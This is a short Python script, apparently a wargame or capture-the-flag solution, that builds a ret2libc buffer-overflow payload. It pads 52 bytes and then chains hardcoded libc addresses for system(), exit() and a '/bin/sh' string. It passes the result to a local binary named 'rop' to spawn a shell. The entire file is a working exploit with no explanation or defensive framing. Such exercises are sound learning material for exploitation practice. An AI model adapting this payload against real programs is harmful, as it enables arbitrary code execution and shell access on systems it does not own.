# -*- coding:utf-8 -*-

import struct
import os

def main():
    
    def p(addr):
        return struct.pack('<I', addr)
    
    buff = "A" * 52
    addr_libc_base = 0xb7e19000
    addr_libc_system = p(addr_libc_base + 0x0003ada0)
    addr_libc_exit = p(addr_libc_base + 0x0002e9d0)
    addr_libc_sh = p(addr_libc_base + 0x15ba0b)

    payload = buff + addr_libc_system + addr_libc_exit + addr_libc_sh
    os.system('/home/ayush/.binary/rop {}'.format(payload))    

if __name__ == '__main__':
    main()
